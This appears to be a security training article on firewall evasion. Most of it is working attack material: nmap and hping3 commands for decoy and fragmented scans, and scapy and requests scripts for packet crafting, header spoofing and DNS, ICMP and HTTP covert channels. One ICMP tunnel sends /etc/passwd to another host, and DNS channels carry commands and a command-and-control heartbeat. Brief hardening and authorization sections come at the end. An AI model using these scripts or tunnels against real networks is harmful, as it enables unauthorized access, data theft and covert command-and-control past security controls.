Firewall Evasion
Understanding Firewall Evasion - Bypassing Perimeter Security Controls
What is Firewall Evasion?
Simple Definition: Firewall evasion involves bypassing firewall rules and restrictions by manipulating network traffic, exploiting configuration weaknesses, or using techniques that circumvent packet filtering to establish unauthorized network connections.
Technical Definition: Firewall evasion encompasses sophisticated techniques to bypass packet filtering, stateful inspection, and application-layer filtering by exploiting protocol implementation differences, rule parsing weaknesses, and legitimate traffic patterns to establish covert communication channels through security perimeters.
Why Firewall Evasion Works
Firewall evasion succeeds by exploiting fundamental limitations in firewall implementations:
- Rule Complexity Limitations: Complex rule sets create gaps and overlaps that can be exploited
- Protocol Implementation Differences: Variations in how firewalls interpret protocols versus applications
- Stateful Inspection Weaknesses: Limitations in connection state tracking and validation
- Performance vs Security Trade-offs: Optimization decisions that reduce security effectiveness
Attack Process Breakdown
Normal Firewall Operation
- Traffic Inspection: Firewall examines incoming and outgoing network packets
- Rule Matching: Traffic is compared against configured security rules
- Policy Enforcement: Allowed traffic passes through, blocked traffic is dropped
- Logging and Monitoring: Security events are logged for analysis
- State Maintenance: Connection states are tracked for stateful filtering
Firewall Evasion Process
- Firewall Reconnaissance: Identify firewall type, rules, and filtering mechanisms
- Rule Analysis: Understanding rule precedence, gaps, and interpretation logic
- Evasion Technique Selection: Choose optimal bypass methods based on firewall characteristics
- Traffic Crafting: Create specially crafted packets to bypass filtering rules
- Communication Establishment: Establish covert channels through firewall restrictions
Real-World Impact
Perimeter Security Bypass: Circumvent network perimeter defenses for unauthorized access
Data Exfiltration: Establish covert channels for stealing sensitive organizational data
Command and Control: Enable communication with compromised systems through security controls
Lateral Movement: Bypass internal network segmentation and access restricted systems
Compliance Violation: Undermine regulatory compliance and security policy enforcement
Technical Concepts
Firewall Types and Bypass Methods
Packet Filtering Firewalls: Basic rule-based filtering vulnerable to fragmentation and spoofing attacks Stateful Inspection Firewalls: Connection state tracking with weaknesses in state manipulation Application Layer Gateways: Deep packet inspection with protocol-specific bypass techniques Next-Generation Firewalls: Advanced threat detection with sophisticated evasion requirements
Evasion Technique Categories
Protocol Manipulation: Exploiting protocol implementations and parsing differences Fragmentation Attacks: Using packet fragmentation to bypass inspection mechanisms Timing-Based Evasion: Manipulating connection timing to exploit state tracking weaknesses Tunneling Techniques: Encapsulating traffic within allowed protocols for covert communication
Traffic Crafting Methods
Source Routing: Manipulating packet routing to bypass firewall positioning TCP Sequence Manipulation: Exploiting sequence number handling for connection bypass Port Hopping: Using dynamic port allocation to evade port-based filtering Protocol Mimicry: Disguising malicious traffic as legitimate protocol communications
Technical Implementation
Prerequisites
Network Requirements:
- Understanding of target firewall configuration and policies
- Ability to send crafted network packets
- Knowledge of allowed protocols and services
Essential Tools:
- Nmap: Advanced port scanning with firewall evasion capabilities
- Hping3: Custom packet crafting for firewall testing
- Scapy: Python packet manipulation framework
- Netcat: Network connection testing and tunneling
Essential Command Sequence
Step 1: Firewall Detection and Fingerprinting
# Identify firewall presence and behavior
nmap -sS -O 192.168.1.1
# TCP SYN scan to identify filtering behavior
# Operating system detection for firewall identification
# Shows how firewall responds to different probe types
# Test common firewall detection techniques
nmap -sA 192.168.1.0/24
# TCP ACK scan to identify stateful vs stateless filtering
# Reveals firewall rule implementation differences
# Distinguishes between filtered and unfiltered ports
# Advanced firewall fingerprinting
nmap --script firewall-bypass 192.168.1.1
# Uses specialized scripts for firewall identification
# Tests for specific firewall product signatures
# Reveals configuration and rule weaknesses
Purpose: Understand firewall implementation and filtering behavior to select optimal evasion techniques.
Step 2: Rule Gap Analysis and Port Discovery
# Comprehensive port scanning with evasion techniques
nmap -sS -f -D RND:10 192.168.1.100
# -sS: TCP SYN scan for stealth
# -f: Fragment packets to bypass inspection
# -D RND:10: Use 10 random decoy IP addresses
# Comprehensive evasion technique combination
# Test for firewall rule gaps
nmap -sS --source-port 53 192.168.1.100
# --source-port 53: Spoof DNS source port
# Exploits common allow rules for DNS traffic
# Tests for source port-based rule bypasses
# Advanced evasion scanning
nmap -sS -T1 --data-length 25 192.168.1.100
# -T1: Very slow timing to avoid detection
# --data-length 25: Add random data to packets
# Evades simple signature-based detection
Step 3: Protocol-Based Evasion Techniques
Using Hping3 for Custom Packet Crafting:
# TCP sequence number evasion
hping3 -S -p 80 -M 1460 -N 12345 192.168.1.100
# -S: TCP SYN flag
# -p 80: Target port 80
# -M 1460: Set MTU size
# -N 12345: Custom sequence number
# Tests firewall sequence number validation
# Fragmented packet evasion
hping3 -S -p 443 -f 192.168.1.100
# -f: Fragment packets
# Splits packets to bypass deep packet inspection
# Exploits reassembly weaknesses in firewalls
# Source routing evasion
hping3 -S -p 22 -g 192.168.1.1 -G 192.168.1.50 192.168.1.100
# -g: Specify source route gateway
# -G: Add additional routing hop
# Manipulates packet routing to bypass firewall positioning
Advanced Protocol Manipulation:
#!/usr/bin/env python3
from scapy.all import *
import random
import time
class FirewallEvasion:
def __init__(self, target_ip, target_port):
self.target_ip = target_ip
self.target_port = target_port
def fragmentation_evasion(self):
"""Use packet fragmentation to bypass inspection"""
# Create fragmented packets
packet = IP(dst=self.target_ip, flags="MF")/TCP(dport=self.target_port, flags="S")
# Fragment the packet
fragments = fragment(packet, fragsize=8)
print(f"Sending {len(fragments)} fragmented packets to bypass firewall")
for frag in fragments:
send(frag, verbose=False)
time.sleep(0.1) # Small delay between fragments
def tcp_sequence_evasion(self):
"""Manipulate TCP sequence numbers for evasion"""
# Generate random sequence numbers
seq_nums = [random.randint(1000000, 4000000000) for _ in range(5)]
for seq in seq_nums:
packet = IP(dst=self.target_ip)/TCP(dport=self.target_port, seq=seq, flags="S")
send(packet, verbose=False)
print(f"Sent TCP SYN with sequence {seq}")
def source_port_evasion(self, allowed_ports=[53, 80, 443]):
"""Use allowed source ports for evasion"""
for src_port in allowed_ports:
packet = IP(dst=self.target_ip)/TCP(sport=src_port, dport=self.target_port, flags="S")
response = sr1(packet, timeout=2, verbose=False)
if response and response.haslayer(TCP):
if response[TCP].flags == 18: # SYN-ACK
print(f"✓ Connection successful using source port {src_port}")
return src_port
elif response[TCP].flags == 4: # RST
print(f"Connection rejected from source port {src_port}")
print("No successful source port evasion found")
return None
def timing_evasion(self, delay_range=(1, 5)):
"""Use timing manipulation to bypass rate limiting"""
for i in range(10):
delay = random.uniform(*delay_range)
packet = IP(dst=self.target_ip)/TCP(dport=self.target_port, flags="S")
send(packet, verbose=False)
print(f"Packet {i+1} sent, waiting {delay:.2f} seconds")
time.sleep(delay)
# Example usage
evasion = FirewallEvasion("192.168.1.100", 443)
# Try different evasion techniques
evasion.fragmentation_evasion()
evasion.tcp_sequence_evasion()
allowed_port = evasion.source_port_evasion()
evasion.timing_evasion()
Step 4: Application Layer Firewall Bypass
# HTTP-based firewall evasion
curl -H "Host: allowed-domain.com" \
-H "User-Agent: Mozilla/5.0" \
-H "X-Forwarded-For: 127.0.0.1" \
http://192.168.1.100/restricted-resource
# Uses HTTP headers to bypass application-layer filtering
# Spoofs legitimate host headers for access
# Exploits host-based filtering weaknesses
# HTTPS tunneling through allowed ports
openssl s_client -connect 192.168.1.100:443 -servername legitimate-site.com
# Establishes HTTPS connection with SNI spoofing
# Bypasses SNI-based filtering rules
# Enables encrypted communication through restrictions
DNS Tunneling for Firewall Bypass:
#!/usr/bin/env python3
import base64
import socket
import time
class DNSTunnelFirewallBypass:
def __init__(self, dns_server="8.8.8.8"):
self.dns_server = dns_server
self.domain_suffix = "tunnel.example.com"
def encode_data_for_dns(self, data):
"""Encode data for DNS query transmission"""
# Base32 encoding for DNS compatibility
encoded = base64.b32encode(data.encode()).decode().lower()
# Split into DNS label-sized chunks (63 chars max)
chunks = [encoded[i:i+60] for i in range(0, len(encoded), 60)]
return chunks
def send_dns_tunnel_data(self, data):
"""Send data through DNS queries for firewall bypass"""
chunks = self.encode_data_for_dns(data)
for i, chunk in enumerate(chunks):
# Create DNS query with encoded data
query_domain = f"{i:03d}-{chunk}.{self.domain_suffix}"
try:
# Send DNS query containing encoded data
result = socket.gethostbyname(query_domain)
print(f"DNS tunnel chunk {i+1}/{len(chunks)} sent: {query_domain[:50]}...")
except socket.gaierror:
# Expected - domain doesn't exist, but query was sent
print(f"DNS tunnel chunk {i+1}/{len(chunks)} transmitted")
time.sleep(0.5) # Rate limiting
def establish_dns_tunnel(self, command):
"""Establish command execution via DNS tunnel"""
print(f"Establishing DNS tunnel for command: {command}")
# Send command through DNS tunnel
self.send_dns_tunnel_data(f"CMD:{command}")
# Simulate receiving response (in real scenario, would monitor DNS responses)
print("Command sent via DNS tunnel - monitoring for response")
# Example usage
tunnel = DNSTunnelFirewallBypass()
tunnel.establish_dns_tunnel("whoami && hostname")
Step 5: Advanced Firewall Bypass Techniques
IPv6 Tunneling for Firewall Evasion:
# IPv6 over IPv4 tunneling to bypass firewall rules
# Many firewalls have weak IPv6 filtering capabilities
# Test IPv6 connectivity through firewall
ping6 2001:db8::1
# Tests IPv6 connectivity through firewall
# Many firewalls have limited IPv6 rule coverage
# Enables alternate communication path
# Establish IPv6 tunnel for bypass
ip tunnel add tun6in4 mode sit remote 192.168.1.100 local $(ip route get 192.168.1.100 | grep src | awk '{print $7}')
ip link set tun6in4 up
ip addr add 2001:db8:1::1/64 dev tun6in4
# Creates IPv6-over-IPv4 tunnel
# Bypasses IPv4-focused firewall rules
# Enables covert IPv6 communication
ICMP Tunneling for Data Exfiltration:
#!/usr/bin/env python3
from scapy.all import *
import base64
import time
class ICMPTunnelBypass:
def __init__(self, target_ip):
self.target_ip = target_ip
self.sequence = 1
def send_icmp_data(self, data):
"""Send data through ICMP packets for firewall bypass"""
# Encode data for ICMP transmission
encoded_data = base64.b64encode(data.encode()).decode()
# Split data into ICMP-sized chunks
chunk_size = 32 # Safe size for ICMP data
chunks = [encoded_data[i:i+chunk_size] for i in range(0, len(encoded_data), chunk_size)]
for chunk in chunks:
# Create ICMP packet with encoded data
packet = IP(dst=self.target_ip)/ICMP(id=0x1234, seq=self.sequence)/Raw(load=chunk)
# Send ICMP packet
send(packet, verbose=False)
print(f"ICMP tunnel packet sent: seq={self.sequence}, data={chunk[:20]}...")
self.sequence += 1
time.sleep(0.2)
def establish_icmp_tunnel(self, file_path):
"""Exfiltrate file data through ICMP tunnel"""
try:
with open(file_path, 'r') as f:
file_content = f.read()
print(f"Exfiltrating {len(file_content)} bytes via ICMP tunnel")
self.send_icmp_data(file_content)
print("ICMP tunnel exfiltration completed")
except FileNotFoundError:
print(f"File not found: {file_path}")
# Example usage
icmp_tunnel = ICMPTunnelBypass("192.168.1.50")
icmp_tunnel.establish_icmp_tunnel("/etc/passwd")
Attack Variations
Multi-Vector Firewall Bypass
# Combine multiple evasion techniques simultaneously
nmap -sS -sU -f -D RND:5 --source-port 53 \
--data-length 15 -T2 192.168.1.0/24
# Combines TCP and UDP scanning
# Uses fragmentation, decoys, and source port spoofing
# Adds random data and slow timing
# Comprehensive multi-vector approach
Application Protocol Abuse
#!/usr/bin/env python3
import requests
import base64
import json
class HTTPFirewallBypass:
def __init__(self, target_url):
self.target_url = target_url
self.session = requests.Session()
def http_header_evasion(self, payload):
"""Use HTTP headers for firewall evasion"""
# Craft headers to bypass application-layer filtering
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Host": "legitimate-domain.com", # Host header spoofing
"X-Forwarded-For": "127.0.0.1", # IP spoofing attempt
"X-Real-IP": "10.0.0.1",
"X-Originating-IP": "192.168.1.1"
}
# Encode payload in various ways to bypass content filtering
encoded_payloads = {
"base64": base64.b64encode(payload.encode()).decode(),
"url": payload.replace(" ", "%20").replace("<", "%3C").replace(">", "%3E"),
"unicode": payload.encode('unicode_escape').decode(),
"json": json.dumps({"data": payload})
}
for encoding_type, encoded_payload in encoded_payloads.items():
try:
response = self.session.post(
self.target_url,
data={"payload": encoded_payload, "type": encoding_type},
headers=headers,
timeout=10
)
if response.status_code == 200:
print(f"✓ HTTP bypass successful with {encoding_type} encoding")
return True
except requests.RequestException:
continue
print("HTTP firewall bypass attempts failed")
return False
# Example usage
http_bypass = HTTPFirewallBypass("http://192.168.1.100/upload")
http_bypass.http_header_evasion("<script>alert('bypass')</script>")
Legitimate Service Abuse
# Abuse legitimate services for firewall bypass
# SSH tunneling through allowed SSH connections
ssh -D 8080 -f -C -q -N user@allowed-ssh-server.com
# -D 8080: Create SOCKS proxy on port 8080
# -f: Background operation
# -C: Compress data for efficiency
# -q: Quiet mode for stealth
# -N: No remote command execution
# Use SOCKS proxy for bypassing firewall restrictions
curl --socks5 127.0.0.1:8080 http://restricted-internal-site.com
# Routes traffic through SSH tunnel
# Bypasses firewall restrictions using legitimate SSH
# Enables access to restricted internal resources
Common Issues and Solutions
Problem: Fragmented packets being reassembled and filtered by firewall
- Solution: Use smaller fragment sizes, randomize fragment timing, combine with other evasion techniques
Problem: Source port spoofing not effective against stateful firewalls
- Solution: Focus on legitimate service abuse, protocol tunneling, application-layer bypasses
Problem: Deep packet inspection detecting evasion attempts
- Solution: Use encrypted tunneling, legitimate protocol abuse, timing-based attacks
Problem: Rate limiting blocking rapid evasion attempts
- Solution: Implement timing delays, distribute attacks across multiple source IPs, use low-and-slow techniques
Advanced Techniques
Adaptive Firewall Evasion
#!/usr/bin/env python3
from scapy.all import *
import time
import random
class AdaptiveFirewallEvasion:
def __init__(self, target_ip):
self.target_ip = target_ip
self.successful_techniques = []
self.failed_techniques = []
def test_technique(self, technique_name, packet_generator):
"""Test individual evasion technique and track results"""
print(f"Testing {technique_name}...")
try:
# Generate test packet
packet = packet_generator()
# Send packet and analyze response
response = sr1(packet, timeout=3, verbose=False)
if response:
if response.haslayer(TCP) and response[TCP].flags == 18: # SYN-ACK
print(f"✓ {technique_name} successful")
self.successful_techniques.append(technique_name)
return True
else:
print(f"✗ {technique_name} blocked")
self.failed_techniques.append(technique_name)
return False
else:
print(f"? {technique_name} - no response")
self.failed_techniques.append(technique_name)
return False
except Exception as e:
print(f"✗ {technique_name} error: {e}")
self.failed_techniques.append(technique_name)
return False
def fragment_technique(self):
"""Generate fragmented packet"""
packet = IP(dst=self.target_ip, flags="MF")/TCP(dport=80, flags="S")
return fragment(packet, fragsize=8)[0]
def source_port_technique(self):
"""Generate packet with spoofed source port"""
return IP(dst=self.target_ip)/TCP(sport=53, dport=80, flags="S")
def sequence_technique(self):
"""Generate packet with manipulated sequence"""
return IP(dst=self.target_ip)/TCP(dport=80, seq=random.randint(1000000, 4000000000), flags="S")
def run_adaptive_scan(self):
"""Run adaptive firewall evasion scan"""
techniques = [
("Fragmentation", self.fragment_technique),
("Source Port Spoofing", self.source_port_technique),
("Sequence Manipulation", self.sequence_technique)
]
for technique_name, technique_func in techniques:
success = self.test_technique(technique_name, technique_func)
if success:
# If technique works, use it for further testing
print(f"Using {technique_name} for continued access")
break
time.sleep(1) # Delay between techniques
print(f"\nSuccessful techniques: {self.successful_techniques}")
print(f"Failed techniques: {self.failed_techniques}")
# Example usage
adaptive_scan = AdaptiveFirewallEvasion("192.168.1.100")
adaptive_scan.run_adaptive_scan()
Covert Channel Establishment
#!/usr/bin/env python3
import socket
import threading
import base64
import time
class CovertChannelFirewallBypass:
def __init__(self, target_ip, covert_port=53):
self.target_ip = target_ip
self.covert_port = covert_port
self.running = True
def dns_covert_channel(self, data):
"""Establish covert channel through DNS queries"""
# Encode data for DNS transmission
encoded_data = base64.b32encode(data.encode()).decode().lower()
# Create DNS query with embedded data
query_parts = [encoded_data[i:i+60] for i in range(0, len(encoded_data), 60)]
for part in query_parts:
query_domain = f"{part}.covert.example.com"
try:
socket.gethostbyname(query_domain)
except socket.gaierror:
pass # Expected - we're not resolving, just transmitting
time.sleep(0.5)
print(f"Data transmitted via DNS covert channel: {len(data)} bytes")
def http_covert_channel(self, data):
"""Establish covert channel through HTTP requests"""
import urllib.request
import urllib.parse
# Encode data in HTTP headers
encoded_data = base64.b64encode(data.encode()).decode()
# Split data across multiple headers
chunk_size = 100
chunks = [encoded_data[i:i+chunk_size] for i in range(0, len(encoded_data), chunk_size)]
for i, chunk in enumerate(chunks):
headers = {
'User-Agent': f'Mozilla/5.0 (X11; {chunk[:50]})',
'Accept-Language': f'en-US,en;q=0.9,{chunk[50:]}',
'Cache-Control': f'no-cache-{i}'
}
try:
req = urllib.request.Request(
f"http://{self.target_ip}/",
headers=headers
)
urllib.request.urlopen(req, timeout=5)
except urllib.error.URLError:
pass # Expected - we're transmitting data, not accessing site
print(f"Data transmitted via HTTP covert channel: {len(data)} bytes")
def establish_bidirectional_channel(self):
"""Establish bidirectional covert communication"""
def send_heartbeat():
while self.running:
self.dns_covert_channel("HEARTBEAT")
time.sleep(30)
def monitor_responses():
# Monitor for responses (simplified - real implementation would parse responses)
while self.running:
# Simulate response monitoring
print("Monitoring for covert channel responses...")
time.sleep(10)
# Start background threads for bidirectional communication
threading.Thread(target=send_heartbeat, daemon=True).start()
threading.Thread(target=monitor_responses, daemon=True).start()
print("Bidirectional covert channel established")
# Example usage
covert = CovertChannelFirewallBypass("192.168.1.100")
covert.dns_covert_channel("Sensitive data for exfiltration")
covert.http_covert_channel("Command and control communication")
covert.establish_bidirectional_channel()
Detection and Prevention
Detection Indicators
- Unusual fragmentation patterns or malformed packets
- Traffic from unexpected source ports or with unusual timing
- Connections to non-standard ports or protocols
- Anomalous DNS queries or HTTP header patterns
- IPv6 traffic in predominantly IPv4 environments
Prevention Measures
Firewall Configuration Hardening:
# Implement comprehensive firewall rules
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP # Drop packets with all flags set
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP # Drop NULL packets
iptables -A INPUT -f -j DROP # Drop fragmented packets
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP # Drop malformed packets
Advanced Security Controls:
- Deploy next-generation firewalls with deep packet inspection
- Implement application-layer gateways for protocol-specific filtering
- Use intrusion detection systems to identify evasion attempts
- Deploy network behavior analysis for anomaly detection
Network Segmentation:
- Implement defense-in-depth with multiple firewall layers
- Use network access control for device authentication
- Deploy micro-segmentation for granular access control
- Monitor east-west traffic for lateral movement
Professional Context
Legitimate Use Cases
- Firewall Testing: Validating firewall rule effectiveness and configuration security
- Penetration Testing: Demonstrating perimeter security weaknesses and bypass techniques
- Security Assessment: Testing network security controls and monitoring capabilities
- Compliance Validation: Verifying firewall implementations meet security requirements
Legal and Ethical Requirements
Authorization: Firewall bypass testing can disrupt network security - explicit written permission essential
Scope Definition: Clearly identify which network segments and security controls are in-scope for testing
Impact Assessment: Document potential for security control bypass and network access
Restoration Procedures: Ensure ability to restore normal firewall operations after testing
Firewall evasion techniques demonstrate the critical importance of comprehensive security control implementation and monitoring, providing essential skills for security assessment while highlighting the need for defense-in-depth strategies and advanced threat detection capabilities.